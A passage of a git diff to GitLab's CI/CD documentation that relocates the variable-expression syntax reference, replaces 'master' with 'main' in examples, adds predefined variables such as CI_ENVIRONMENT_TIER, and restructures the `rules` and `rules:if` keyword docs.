[Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/37397) in GitLab 10.7 for [the `only` and `except` CI keywords](../yaml/README.md#onlyvariables--exceptvariables) -> - [Expanded](https://gitlab.com/gitlab-org/gitlab/-/issues/27863) in GitLab 12.3 with [the `rules` keyword](../yaml/README.md#rules) - -Use variable expressions to limit which jobs are created -in a pipeline after changes are pushed to GitLab. - -In `.gitlab-ci.yml`, variable expressions work with both: - -- [`rules`](../yaml/README.md#rules), which is the recommended approach, and -- [`only` and `except`](../yaml/README.md#only--except), which are candidates for deprecation. - -This is particularly useful in combination with variables and triggered -pipeline variables. - -```yaml -deploy: - script: cap staging deploy - environment: staging - only: - variables: - - $RELEASE == "staging" - - $STAGING -``` - -Each expression provided is evaluated before a pipeline is created. - -If any of the conditions in `variables` evaluates to true when using `only`, -a new job is created. If any of the expressions evaluates to true -when `except` is being used, a job is not created. - -This follows the usual rules for [`only` / `except` policies](../yaml/README.md#onlyvariables--exceptvariables). - -### Syntax of CI/CD variable expressions - -Below you can find supported syntax reference. - -#### Equality matching using a string - -Examples: - -- `$VARIABLE == "some value"` -- `$VARIABLE != "some value"` (introduced in GitLab 11.11) - -You can use equality operator `==` or `!=` to compare a variable content to a -string. We support both, double quotes and single quotes to define a string -value, so both `$VARIABLE == "some value"` and `$VARIABLE == 'some value'` -are supported. `"some value" == $VARIABLE` is correct too. - -#### Checking for an undefined value - -Examples: - -- `$VARIABLE == null` -- `$VARIABLE != null` (introduced in GitLab 11.11) - -It sometimes happens that you want to check whether a variable is defined -or not. To do that, you can compare a variable to `null` keyword, like -`$VARIABLE == null`. This expression evaluates to true if -variable is not defined when `==` is used, or to false if `!=` is used. - -#### Checking for an empty variable - -Examples: - -- `$VARIABLE == ""` -- `$VARIABLE != ""` (introduced in GitLab 11.11) - -To check if a variable is defined but empty, compare it to: - -- An empty string: `$VARIABLE == ''` -- A non-empty string: `$VARIABLE != ""` - -#### Comparing two variables - -Examples: - -- `$VARIABLE_1 == $VARIABLE_2` -- `$VARIABLE_1 != $VARIABLE_2` (introduced in GitLab 11.11) - -It is possible to compare two variables. This compares values -of these variables. - -#### Variable presence check - -Example: `$STAGING` - -To create a job when there is some variable present, meaning it is defined and non-empty, -use the variable name as an expression, like `$STAGING`. If the `$STAGING` variable -is defined, and is non empty, expression evaluates to `true`. -`$STAGING` value needs to be a string, with length higher than zero. -Variable that contains only whitespace characters is not an empty variable. - -#### Regex pattern matching - -> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/43601) in GitLab 11.0 - -Examples: - -- `=~`: True if pattern is matched. Ex: `$VARIABLE =~ /^content.*/` -- `!~`: True if pattern is not matched. Ex: `$VARIABLE_1 !~ /^content.*/` ([Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/61900) in GitLab 11.11) - -Variable pattern matching with regular expressions uses the -[RE2 regular expression syntax](https://github.com/google/re2/wiki/Syntax). -Expressions evaluate as `true` if: - -- Matches are found when using `=~`. -- Matches are *not* found when using `!~`. - -Pattern matching is case-sensitive by default. Use `i` flag modifier, like -`/pattern/i` to make a pattern case-insensitive. - -#### Conjunction / Disjunction - -> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/62867) in GitLab 12.0 - -Examples: - -- `$VARIABLE1 =~ /^content.*/ && $VARIABLE2 == "something"` -- `$VARIABLE1 =~ /^content.*/ && $VARIABLE2 =~ /thing$/ && $VARIABLE3` -- `$VARIABLE1 =~ /^content.*/ || $VARIABLE2 =~ /thing$/ && $VARIABLE3` - -It is possible to join multiple conditions using `&&` or `||`. Any of the otherwise -supported syntax may be used in a conjunctive or disjunctive statement. -Precedence of operators follows the -[Ruby 2.5 standard](https://ruby-doc.org/core-2.5.0/doc/syntax/precedence_rdoc.html), -so `&&` is evaluated before `||`. - -#### Parentheses - -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/230938) in GitLab 13.3. -> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/238174) in GitLab 13.5. - -It is possible to use parentheses to group conditions. Parentheses have the highest -precedence of all operators. Expressions enclosed in parentheses are evaluated first, -and the result is used for the rest of the expression. - -Many nested parentheses can be used to create complex conditions, and the inner-most -expressions in parentheses are evaluated first. For an expression to be valid an equal -number of `(` and `)` need to be used. - -Examples: - -- `($VARIABLE1 =~ /^content.*/ || $VARIABLE2) && ($VARIABLE3 =~ /thing$/ || $VARIABLE4)` -- `($VARIABLE1 =~ /^content.*/ || $VARIABLE2 =~ /thing$/) && $VARIABLE3` -- `$CI_COMMIT_BRANCH == "my-branch" || (($VARIABLE1 == "thing" || $VARIABLE2 == "thing") && $VARIABLE3)` - -### Storing regular expressions in variables - -It is possible to store a regular expression in a variable, to be used for pattern matching. -The following example tests whether `$RELEASE` contains either the -string `staging0` or the string `staging1`: - -```yaml -variables: - STAGINGRELS: '/staging0|staging1/' - -deploy_staging: - script: do.sh deploy staging - environment: staging - rules: - - if: '$RELEASE =~ $STAGINGRELS' -``` - -NOTE: -The available regular expression syntax is limited. See [related issue](https://gitlab.com/gitlab-org/gitlab/-/issues/35438) -for more details. - -If needed, you can use a test pipeline to determine whether a regular expression works in a variable. The example below tests the `^mast.*` regular expression directly, -as well as from in a variable: - -```yaml -variables: - MYSTRING: 'master' - MYREGEX: '/^mast.*/' - -testdirect: - script: /bin/true - rules: - - if: '$MYSTRING =~ /^mast.*/' - -testvariable: - script: /bin/true - rules: - - if: '$MYSTRING =~ $MYREGEX' -``` - ## Debug logging > Introduced in GitLab Runner 1.7. @@ -943,8 +761,8 @@ if [[ -d "/builds/gitlab-examples/ci-debug-trace/.git" ]]; then ++ CI_PROJECT_VISIBILITY=public ++ export CI_PROJECT_REPOSITORY_LANGUAGES= ++ CI_PROJECT_REPOSITORY_LANGUAGES= -++ export CI_DEFAULT_BRANCH=master -++ CI_DEFAULT_BRANCH=master +++ export CI_DEFAULT_BRANCH=main +++ CI_DEFAULT_BRANCH=main ++ export CI_REGISTRY=registry.gitlab.com ++ CI_REGISTRY=registry.gitlab.com ++ export CI_API_V4_URL=https://gitlab.com/api/v4 @@ -961,10 +779,10 @@ if [[ -d "/builds/gitlab-examples/ci-debug-trace/.git" ]]; then ++ CI_COMMIT_SHORT_SHA=dd648b2e ++ export CI_COMMIT_BEFORE_SHA=0000000000000000000000000000000000000000 ++ CI_COMMIT_BEFORE_SHA=0000000000000000000000000000000000000000 -++ export CI_COMMIT_REF_NAME=master -++ CI_COMMIT_REF_NAME=master -++ export CI_COMMIT_REF_SLUG=master -++ CI_COMMIT_REF_SLUG=master +++ export CI_COMMIT_REF_NAME=main +++ CI_COMMIT_REF_NAME=main +++ export CI_COMMIT_REF_SLUG=main +++ CI_COMMIT_REF_SLUG=main ... ``` diff --git a/doc/ci/variables/predefined_variables.md b/doc/ci/variables/predefined_variables.md index 9cb960ae8ec..bd280cc4825 100644 --- a/doc/ci/variables/predefined_variables.md +++ b/doc/ci/variables/predefined_variables.md @@ -1,6 +1,6 @@ --- stage: Verify -group: Continuous Integration +group: Pipeline Authoring info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- @@ -52,6 +52,8 @@ There are also [Kubernetes-specific deployment variables](../../user/project/clu | `CI_ENVIRONMENT_NAME` | 8.15 | all | The name of the environment for this job. Available if [`environment:name`](../yaml/README.md#environmentname) is set. | | `CI_ENVIRONMENT_SLUG` | 8.15 | all | The simplified version of the environment name, suitable for inclusion in DNS, URLs, Kubernetes labels, and so on. Available if [`environment:name`](../yaml/README.md#environmentname) is set. The slug is [truncated to 24 characters](https://gitlab.com/gitlab-org/gitlab/-/issues/20941). | | `CI_ENVIRONMENT_URL` | 9.3 | all | The URL of the environment for this job. Available if [`environment:url`](../yaml/README.md#environmenturl) is set. | +| `CI_ENVIRONMENT_ACTION` | 13.11 | all | The action annotation specified for this job's environment. Available if [`environment:action`](../yaml/README.md#environmentaction) is set. Can be `start`, `prepare`, or `stop`. | +| `CI_ENVIRONMENT_TIER` | 14.0 | all | The [deployment tier of the environment](../environments/index.md#deployment-tier-of-environments) for this job. | | `CI_HAS_OPEN_REQUIREMENTS` | 13.1 | all | Only available if the pipeline's project has an open [requirement](../../user/project/requirements/index.md). `true` when available. | | `CI_JOB_ID` | 9.0 | all | The internal ID of the job, unique across all jobs in the GitLab instance. | | `CI_JOB_IMAGE` | 12.9 | 12.9 | The name of the Docker image running the job. | @@ -75,7 +77,7 @@ There are also [Kubernetes-specific deployment variables](../../user/project/clu | `CI_PIPELINE_TRIGGERED` | all | all | `true` if the job was [triggered](../triggers/README.md). | | `CI_PIPELINE_URL` | 11.1 | 0.5 | The URL for the pipeline details. | | `CI_PIPELINE_CREATED_AT` | 13.10 | all | The UTC datetime when the pipeline was created, in [ISO 8601](https://tools.ietf.org/html/rfc3339#appendix-A) format. | -| `CI_PROJECT_CONFIG_PATH` | 13.8 | all | (Deprecated) The CI configuration path for the project. [Deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/321334) in GitLab 13.10. [Removal planned](https://gitlab.com/gitlab-org/gitlab/-/issues/322807) for GitLab 14.0. | +| `CI_PROJECT_CONFIG_PATH` | 13.8 to 13.12 | all | [Removed](https://gitlab.com/gitlab-org/gitlab/-/issues/322807) in GitLab 14.0. Use `CI_CONFIG_PATH`. | | `CI_PROJECT_DIR` | all | all | The full path the repository is cloned to, and where the job runs from. If the GitLab Runner `builds_dir` parameter is set, this variable is set relative to the value of `builds_dir`. For more information, see the [Advanced GitLab Runner configuration](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-runners-section). | | `CI_PROJECT_ID` | all | all | The ID of the current project. This ID is unique across all projects on the GitLab instance. | | `CI_PROJECT_NAME` | 8.10 | 0.5 | The name of the directory for the project. For example if the project URL is `gitlab.example.com/group-name/project-1`, `CI_PROJECT_NAME` is `project-1`. | diff --git a/doc/ci/variables/where_variables_can_be_used.md b/doc/ci/variables/where_variables_can_be_used.md index 3e1518447d6..76d4d929ff0 100644 --- a/doc/ci/variables/where_variables_can_be_used.md +++ b/doc/ci/variables/where_variables_can_be_used.md @@ -1,6 +1,6 @@ --- stage: Verify -group: Continuous Integration +group: Pipeline Authoring info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- @@ -35,7 +35,7 @@ There are two places defined variables can be used. On the: | `cache:key` | yes | Runner | The variable expansion is made by GitLab Runner's [internal variable expansion mechanism](#gitlab-runner-internal-variable-expansion-mechanism) | | `artifacts:name` | yes | Runner | The variable expansion is made by GitLab Runner's shell environment | | `script`, `before_script`, `after_script` | yes | Script execution shell | The variable expansion is made by the [execution shell environment](#execution-shell-environment) | -| `only:variables:[]`, `except:variables:[]`, `rules:if` | no | n/a | The variable must be in the form of `$variable`. Not supported are the following:<br/><br/>- Variables that are based on the environment's name (`CI_ENVIRONMENT_NAME`, `CI_ENVIRONMENT_SLUG`).<br/>- Any other variables related to environment (currently only `CI_ENVIRONMENT_URL`).<br/>- [Persisted variables](#persisted-variables). | +| `only:variables:[]`, `except:variables:[]`, `rules:if` | no | n/a | The variable must be in the form of `$variable`. Not supported are the following:<br/><br/>- Variables that are based on the environment's name (`CI_ENVIRONMENT_NAME`, `CI_ENVIRONMENT_SLUG`).<br/>- Any other variables related to environment (currently only `CI_ENVIRONMENT_URL`).<br/>- [Persisted variables](#persisted-variables). | ### `config.toml` file @@ -174,7 +174,7 @@ They are: - Script execution shell. - Not supported: - For definitions where the ["Expansion place"](#gitlab-ciyml-file) is GitLab. - - In the `only` and `except` [variables expressions](README.md#cicd-variable-expressions). + - In the `only` and `except` [variables expressions](../jobs/job_control.md#cicd-variable-expressions). Some of the persisted variables contain tokens and cannot be used by some definitions due to security reasons. @@ -193,7 +193,6 @@ my-job: name: review/$CI_JOB_STAGE/deploy script: - 'deploy staging' - only: - variables: - - $STAGING_SECRET == 'something' + rules: + - if: $STAGING_SECRET == 'something' ``` diff --git a/doc/ci/yaml/README.md b/doc/ci/yaml/README.md index e9b3a2213c8..8e9cf00b160 100644 --- a/doc/ci/yaml/README.md +++ b/doc/ci/yaml/README.md @@ -1,6 +1,6 @@ --- stage: Verify -group: Continuous Integration +group: Pipeline Execution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- @@ -15,7 +15,7 @@ This document lists the configuration options for your GitLab `.gitlab-ci.yml` f - For a quick introduction to GitLab CI/CD, follow the [quick start guide](../quick_start/index.md). - For a collection of examples, see [GitLab CI/CD Examples](../examples/README.md). -- To view a large `.gitlab-ci.yml` file used in an enterprise, see the [`.gitlab-ci.yml` file for `gitlab`](https://gitlab.com/gitlab-org/gitlab/blob/master/.gitlab-ci.yml). +- To view a large `.gitlab-ci.yml` file used in an enterprise, see the [`.gitlab-ci.yml` file for `gitlab`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab-ci.yml). When you are editing your `.gitlab-ci.yml` file, you can validate it with the [CI Lint](../lint.md) tool. @@ -192,7 +192,7 @@ Some example `if` clauses for `workflow: rules`: | `if: $CI_COMMIT_TAG` | Control when tag pipelines run. | | `if: $CI_COMMIT_BRANCH` | Control when branch pipelines run. | -See the [common `if` clauses for `rules`](#common-if-clauses-for-rules) for more examples. +See the [common `if` clauses for `rules`](../jobs/job_control.md#common-if-clauses-for-rules) for more examples. In the following example, pipelines run for all `push` events (changes to branches and new tags). Pipelines for push events with `-draft` in the commit message @@ -228,7 +228,7 @@ The final `when: always` rule runs all other pipeline types, **including** merge request pipelines. If your rules match both branch pipelines and merge request pipelines, -[duplicate pipelines](#avoid-duplicate-pipelines) can occur. +[duplicate pipelines](../jobs/job_control.md#avoid-duplicate-pipelines) can occur. #### `workflow:rules:variables` @@ -253,7 +253,7 @@ variables: workflow: rules: - - if: $CI_COMMIT_REF_NAME =~ /master/ + - if: $CI_COMMIT_REF_NAME == $CI_DEFAULT_BRANCH variables: DEPLOY_VARIABLE: "deploy-production" # Override globally-defined DEPLOY_VARIABLE - if: $CI_COMMIT_REF_NAME =~ /feature/ @@ -265,7 +265,7 @@ job1: variables: DEPLOY_VARIABLE: "job1-default-deploy" rules: - - if: $CI_COMMIT_REF_NAME =~ /master/ + - if: $CI_COMMIT_REF_NAME == $CI_DEFAULT_BRANCH variables: # Override DEPLOY_VARIABLE defined DEPLOY_VARIABLE: "job1-deploy-production" # at the job level. - when: on_success # Run the job in other cases @@ -279,7 +279,7 @@ job2: - echo "Run another script if $IS_A_FEATURE exists" ``` -When the branch is `master`: +When the branch is the default branch: - job1's `DEPLOY_VARIABLE` is `job1-deploy-production`. - job2's `DEPLOY_VARIABLE` is `deploy-production`. @@ -356,7 +356,7 @@ include: To make the pipeline switch from branch pipelines to merge request pipelines after a merge request is created, add a `workflow: rules` section to your `.gitlab-ci.yml` file. -If you use both pipeline types at the same time, [duplicate pipelines](#avoid-duplicate-pipelines) +If you use both pipeline types at the same time, [duplicate pipelines](../jobs/job_control.md#avoid-duplicate-pipelines) might run at the same time. To prevent duplicate pipelines, use the [`CI_OPEN_MERGE_REQUESTS` variable](../variables/predefined_variables.md). @@ -559,7 +559,7 @@ You can also specify a `ref`. If you do not specify a value, the ref defaults to ```yaml include: - project: 'my-group/my-project' - ref: master + ref: main file: '/templates/.gitlab-ci-template.yml' - project: 'my-group/my-project' @@ -584,7 +584,7 @@ You can include multiple files from the same project: ```yaml include: - project: 'my-group/my-project' - ref: master + ref: main file: - '/templates/.builds.yml' - '/templates/.tests.yml' @@ -598,7 +598,7 @@ authentication in the remote URL is not supported. For example: ```yaml include: - - remote: 'https://gitlab.com/example-project/-/raw/master/.gitlab-ci.yml' + - remote: 'https://gitlab.com/example-project/-/raw/main/.gitlab-ci.yml' ``` All [nested includes](#nested-includes) execute without context as a public user, @@ -609,7 +609,7 @@ so you can only `include` public projects or templates. > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/53445) in GitLab 11.7. Use `include:template` to include `.gitlab-ci.yml` templates that are -[shipped with GitLab](https://gitlab.com/gitlab-org/gitlab/tree/master/lib/gitlab/ci/templates). +[shipped with GitLab](https://gitlab.com/gitlab-org/gitlab/-/tree/master/lib/gitlab/ci/templates). For example: @@ -991,8 +991,8 @@ but you can use as many as eleven. The following example has two levels of inher ```yaml .tests: - only: - - pushes + rules: + - if: $CI_PIPELINE_SOURCE == "push" .rspec: extends: .tests @@ -1028,9 +1028,9 @@ levels. For example: variables: URL: "http://my-url.internal" IMPORTANT_VAR: "the details" - only: - - master - - stable + rules: + - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH + - if: $CI_COMMIT_BRANCH == "stable" tags: - production script: @@ -1061,9 +1061,9 @@ rspec: URL: "http://docker-url.internal" IMPORTANT_VAR: "the details" GITLAB: "is-awesome" - only: - - master - - stable + rules: + - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH + - if: $CI_COMMIT_BRANCH == "stable" tags: - docker image: alpine @@ -1113,202 +1113,32 @@ Use `rules` to include or exclude jobs in pipelines. Rules are evaluated *in order* until the first match. When a match is found, the job is either included or excluded from the pipeline, depending on the configuration. -The job can also have [certain attributes](#rules-attributes) -added to it. `rules` replaces [`only/except`](#only--except) and they can't be used together -in the same job. If you configure one job to use both keywords, the linter returns a -`key may not be used with rules` error. - -#### Rules attributes - -The job attributes you can use with `rules` are: +in the same job. If you configure one job to use both keywords, the GitLab returns +a `key may not be used with rules` error. -- [`when`](#when): If not defined, defaults to `when: on_success`. - - If used as `when: delayed`, `start_in` is also required. -- [`allow_failure`](#allow_failure): If not defined, defaults to `allow_failure: false`. -- [`variables`](#rulesvariables): If not defined, uses the [variables defined elsewhere](#variables). +`rules` accepts an array of rules defined with: -If a rule evaluates to true, and `when` has any value except `never`, the job is included in the pipeline. - -For example: - -```yaml -docker build: - script: docker build -t my-image:$CI_COMMIT_REF_SLUG . - rules: - - if: '$CI_COMMIT_BRANCH == "master"' - when: delayed - start_in: '3 hours' - allow_failure: true -``` - -#### Rules clauses - -Available rule clauses are: - -| Clause | Description | -|----------------------------|------------------------------------------------------------------------------------------------------------------------------------| -| [`if`](#rulesif) | Add or exclude jobs from a pipeline by evaluating an `if` statement. Similar to [`only:variables`](#onlyvariables--exceptvariables). | -| [`changes`](#ruleschanges) | Add or exclude jobs from a pipeline based on what files are changed. Same as [`only:changes`](#onlychanges--exceptchanges). | -| [`exists`](#rulesexists) | Add or exclude jobs from a pipeline based on the presence of specific files. | - -Rules are evaluated in order until a match is found. If a match is found, the attributes -are checked to see if the job should be added to the pipeline. If no attributes are defined, -the defaults are: +- `if` +- `changes` +- `exists` +- `allow_failure` +- `variables` +- `when` -- `when: on_success` -- `allow_failure: false` +You can combine multiple keywords together for [complex rules](../jobs/job_control.md#complex-rules). The job is added to the pipeline: -- If a rule matches and has `when: on_success`, `when: delayed` or `when: always`. -- If no rules match, but the last clause is `when: on_success`, `when: delayed` - or `when: always` (with no rule). +- If an `if`, `changes`, or `exists` rule matches and also has `when: on_success` (default), + `when: delayed`, or `when: always`. +- If a rule is reached that is only `when: on_success`, `when: delayed`, or `when: always`. The job is not added to the pipeline: -- If no rules match, and there is no standalone `when: on_success`, `when: delayed` or - `when: always`. -- If a rule matches, and has `when: never` as the attribute. - -The following example uses `if` to strictly limit when jobs run: - -```yaml -job: - script: echo "Hello, Rules!" - rules: - - if: '$CI_PIPELINE_SOURCE == "merge_request_event"' - when: manual - allow_failure: true - - if: '$CI_PIPELINE_SOURCE == "schedule"' -``` - -- If the pipeline is for a merge request, the first rule matches, and the job - is added to the [merge request pipeline](../merge_request_pipelines/index.md) - with attributes of: - - `when: manual` (manual job) - - `allow_failure: true` (the pipeline continues running even if the manual job is not run) -- If the pipeline is **not** for a merge request, the first rule doesn't match, and the - second rule is evaluated. -- If the pipeline is a scheduled pipeline, the second rule matches, and the job - is added to the scheduled pipeline. No attributes were defined, so it is added - with: - - `when: on_success` (default) - - `allow_failure: false` (default) -- In **all other cases**, no rules match, so the job is **not** added to any other pipeline. - -Alternatively, you can define a set of rules to exclude jobs in a few cases, but -run them in all other cases: - -```yaml -job: - script: echo "Hello, Rules!" - rules: - - if: '$CI_PIPELINE_SOURCE == "merge_request_event"' - when: never - - if: '$CI_PIPELINE_SOURCE == "schedule"' - when: never - - when: on_success -``` - -- If the pipeline is for a merge request, the job is **not** added to the pipeline. -- If the pipeline is a scheduled pipeline, the job is **not** added to the pipeline. -- In **all other cases**, the job is added to the pipeline, with `when: on_success`. - -WARNING: -If you use a `when:` clause as the final rule (not including `when: never`), two -simultaneous pipelines may start. Both push pipelines and merge request pipelines can -be triggered by the same event (a push to the source branch for an open merge request). -See how to [prevent duplicate pipelines](#avoid-duplicate-pipelines) -for more details. - -#### Avoid duplicate pipelines - -If a job uses `rules`, a single action, like pushing a commit to a branch, can trigger -multiple pipelines. You don't have to explicitly configure rules for multiple types -of pipeline to trigger them accidentally. - -Some configurations that have the potential to cause duplicate pipelines cause a -[pipeline warning](../troubleshooting.md#pipeline-warnings) to be displayed. -[Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/219431) in GitLab 13.3. - -For example: - -```yaml -job: - script: echo "This job creates double pipelines!" - rules: - - if: '$CUSTOM_VARIABLE == "false"' - when: never - - when: always -``` - -This job does not run when `$CUSTOM_VARIABLE` is false, but it *does* run in **all** -other pipelines, including **both** push (branch) and merge request pipelines. With -this configuration, every push to an open merge request's source branch -causes duplicated pipelines. - -To avoid duplicate pipelines, you can: - -- Use [`workflow`](#workflow) to specify which types of pipelines - can run. -- Rewrite the rules to run the job only in very specific cases, - and avoid a final `when:` rule: - - ```yaml - job: - script: echo "This job does NOT create double pipelines!" - rules: - - if: '$CUSTOM_VARIABLE == "true" && $CI_PIPELINE_SOURCE == "merge_request_event"' - ``` - -You can also avoid duplicate pipelines by changing the job rules to avoid either push (branch) -pipelines or merge request pipelines. However, if you use a `- when: always` rule without -`workflow: rules`, GitLab still displays a [pipeline warning](../troubleshooting.md#pipeline-warnings). - -For example, the following does not trigger double pipelines, but is not recommended -without `workflow: rules`: - -```yaml -job: - script: echo "This job does NOT create double pipelines!" - rules: - - if: '$CI_PIPELINE_SOURCE == "push"' - when: never - - when: always -``` - -You should not include both push and merge request pipelines in the same job without -[`workflow:rules` that prevent duplicate pipelines](#switch-between-branch-pipelines-and-merge-request-pipelines): - -```yaml -job: - script: echo "This job creates double pipelines!" - rules: - - if: '$CI_PIPELINE_SOURCE == "push"' - - if: '$CI_PIPELINE_SOURCE == "merge_request_event"' -``` - -Also, do not mix `only/except` jobs with `rules` jobs in the same pipeline. -It may not cause YAML errors, but the different default behaviors of `only/except` -and `rules` can cause issues that are difficult to troubleshoot: - -```yaml -job-with-no-rules: - script: echo "This job runs in branch pipelines." - -job-with-rules: - script: echo "This job runs in merge request pipelines." - rules: - - if: '$CI_PIPELINE_SOURCE == "merge_request_event"' -``` - -For every change pushed to the branch, duplicate pipelines run. One -branch pipeline runs a single job (`job-with-no-rules`), and one merge request pipeline -runs the other job (`job-with-rules`). Jobs with no rules default -to [`except: merge_requests`](#only--except), so `job-with-no-rules` -runs in all cases except merge requests. +- If no rules match. +- If a rule matches and has `when: never`. #### `rules:if` @@ -1318,110 +1148,61 @@ Use `rules:if` clauses to specify when to add a job to a pipeline: - If an `if` statement is true, but it's combined with `when: never`, do not add the job to the pipeline. - If no `if` statements are true, do not add the job to the pipeline. -`rules:if` differs slightly from `only:variables` by accepting only a single -expression string per rule, rather than an array of them. Any set of expressions to be -evaluated can be [conjoined into a single expression](../variables/README.md#conjunction--disjunction) -by using `&&` or `||`, and the [variable matching operators (`==`, `!=`, `=~` and `!~`)](../variables/README.md#syntax-of-cicd-variable-expressions). - -Unlike variables in [`script`](../variables/README.md#use-cicd-variables-in-job-scripts) -sections, variables in rules expressions are always formatted as `$VARIABLE`. - `if:` clauses are evaluated based on the values of [predefined CI/CD variables](../variables/predefined_variables.md) or [custom CI/CD variables](../variables/README.md#custom-cicd-variables). -For example: +**Keyword type**: Job-specific and pipeline-specific. You can use it as part of a job +to configure the job behavior, or with [`workflow`](#workflow) to configure the pipeline behavior. + +**Possible inputs**: A [CI/CD variable expression](../jobs/job_control.md#cicd-variable-expressions). + +**Example of `rules:if`**: ```yaml job: script: echo "Hello, Rules!" rules: - - if: '$CI_MERGE_REQUEST_SOURCE_BRANCH_NAME =~ /^feature/ && $CI_MERGE_REQUEST_TARGET_BRANCH_NAME == "master"' - when: always + - if: '$CI_MERGE_REQUEST_SOURCE_BRANCH_NAME =~ /^feature/ && $CI_MERGE_REQUEST_TARGET_BRANCH_NAME != $CI_DEFAULT_BRANCH' + when: never - if: '$CI_MERGE_REQUEST_SOURCE_BRANCH_NAME =~ /^feature/' when: manual allow_failure: true - - if: '$CI_MERGE_REQUEST_SOURCE_BRANCH_NAME' # Checking for the presence of a variable is possible + - if: '$CI_MERGE_REQUEST_SOURCE_BRANCH_NAME' ``` -Some details regarding the logic that determines the `when` for the job: +**Additional details**: -- If none of the provided rules match, the job is set to `when: never` and is - not included in the pipeline. -- A rule without any conditional clause, such as a `when` or `allow_failure` - rule without `if` or `changes`, always matches, and is always used if reached. - If a rule matches and has no `when` defined, the rule uses the `when` defined for the job, which defaults to `on_success` if not defined. - You can define `when` once per rule, or once at the job-level, which applies to all rules. You can't mix `when` at the job-level with `when` in rules. +- Unlike variables in [`script`](../variables/README.md#use-cicd-variables-in-job-scripts) + sections, variables in rules expressions are always formatted as `$VARIABLE`. -##### Common `if` clauses for `rules` - -For behavior similar to the [`only`/`except` keywords](#only--except), you can -check the value of the `$CI_PIPELINE_SOURCE` variable: - -| Value | Description | -|-------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| -| `api` | For pipelines triggered by the [pipelines API](../../api/pipelines.md#create-a-new-pipeline). | -| `chat` | For pipelines created by using a [GitLab ChatOps](../chatops/index.md) command. | -| `external` | When you use CI services other than GitLab. | -| `external_pull_request_event` | When an external pull request on GitHub is created or updated. See [Pipelines for external pull requests](../ci_cd_for_external_repos/index.md#pipelines-for-external-pull-requests). | -| `merge_request_event` | For pipelines created when a merge request is created or updated. Required to enable [merge request pipelines](../merge_request_pipelines/index.md), [merged results pipelines](../merge_request_pipelines/pipelines_for_merged_results/index.md), and [merge trains](../merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md). | -| `parent_pipeline` | For pipelines triggered by a [parent/child pipeline](../parent_child_pipelines.md) with `rules`. Use this pipeline source in the child pipeline configuration so that it can be triggered by the parent pipeline. | -| `pipeline` | For [multi-project pipelines](../multi_project_pipelines.md) created by [using the API with `CI_JOB_TOKEN`](../multi_project_pipelines.md#triggering-multi-project-pipelines-through-api), or the [`trigger`](#trigger) keyword. | -| `push` | For pipelines triggered by a `git push` event, including for branches and tags. | -| `schedule` | For [scheduled pipelines](../pipelines/schedules.md). | -| `trigger` | For pipelines created by using a [trigger token](../triggers/README.md#trigger-token). | -| `web` | For pipelines created by using **Run pipeline** button in the GitLab UI, from the project's **CI/CD > Pipelines** section. | -| `webide` | For pipelines created by using the [WebIDE](../../user/project/web_ide/index.md). | - -The following example runs the job as a manual job in scheduled pipelines or in push -pipelines (to branches or tags), with `when: on_success` (default). It does not -add the job to any other pipeline type. - -```yaml -job: - script: echo "Hello, Rules!" - rules: - - if: '$CI_PIPELINE_SOURCE == "schedule"' - when: manual - allow_failure: true - - if: '$CI_PIPELINE_SOURCE == "push"' -``` +**Related topics**: -The following example runs the job as a `when: on_success` job in [merge request pipelines](../merge_request_pipelines/index.md) -and scheduled pipelines. It does not run in any other pipeline type. +- [Common `if` expressions for `rules`](../jobs/job_control.md#common-if-clauses-for-rules). +- [Avoid duplicate pipelines](../jobs/job_control.md#avoid-duplicate-pipelines). -```yaml -job: - script: echo "Hello, Rules!" - rules: - - if: '$CI_PIPELINE_SOURCE == "merge_request_event"' - - if: '$CI_PIPELINE_SOURCE == "schedule"' -``` +#### `rules:changes` -Other commonly used variables for `if` clauses: +Use `rules:changes` to specify when to add a job to a pipeline by checking for changes +to specific files. -- `if: $CI_COMMIT_TAG`: If changes are pushed for a tag. -- `if: $CI_COMMIT_BRANCH`: If changes are pushed to any branch. -- `if: '$CI_COMMIT_BRANCH == "main"'`: If changes are pushed to `main`. -- `if: '$CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH'`: If changes are pushed to the default - branch. Use when you want to have the same configuration in multiple - projects with different default branches. -- `if: '$CI_COMMIT_BRANCH =~ /regex-expression/'`: If the commit branch matches a regular expression. -- `if: '$CUSTOM_VARIABLE !~ /regex-expression/'`: If the [custom variable](../variables/README.md#custom-cicd-variables) - `CUSTOM_VARIABLE` does **not** match a regular expression. -- `if: '$CUSTOM_VARIABLE == "value1"'`: If the custom variable `CUSTOM_VARIABLE` is - exactly `value1`. +WARNING: +You should use `rules: changes` only with **branch pipelines** or **merge request pipelines**. +You can use `rules: changes` with other pipeline types, but `rules: changes` always +evaluates to true when there is no Git `push` event. Tag pipelines, scheduled pipelines, +and so on do **not** have a Git `push` event associated with them. A `rules: changes` job +is **always** added to those pipelines if there is no `if:` that limits the job to +branch or merge request pipelines. -#### `rules:changes` +**Keyword type**: Job keyword. You can use it only as part of a job. -Use `rules:changes` to specify when to add a job to a pipeline by checking for -changes to specific files. +**Possible inputs**: An array of file paths. In GitLab 13.6 and later, +[file paths can include variables](../jobs/job_control.md#variables-in-ruleschanges). -`rules: changes` works the same way as [`only: changes` and `except: changes`](#onlychanges--exceptchanges). -It accepts an array of paths. You should use `rules: changes` only with branch -pipelines or merge request pipelines. For example, it's common to 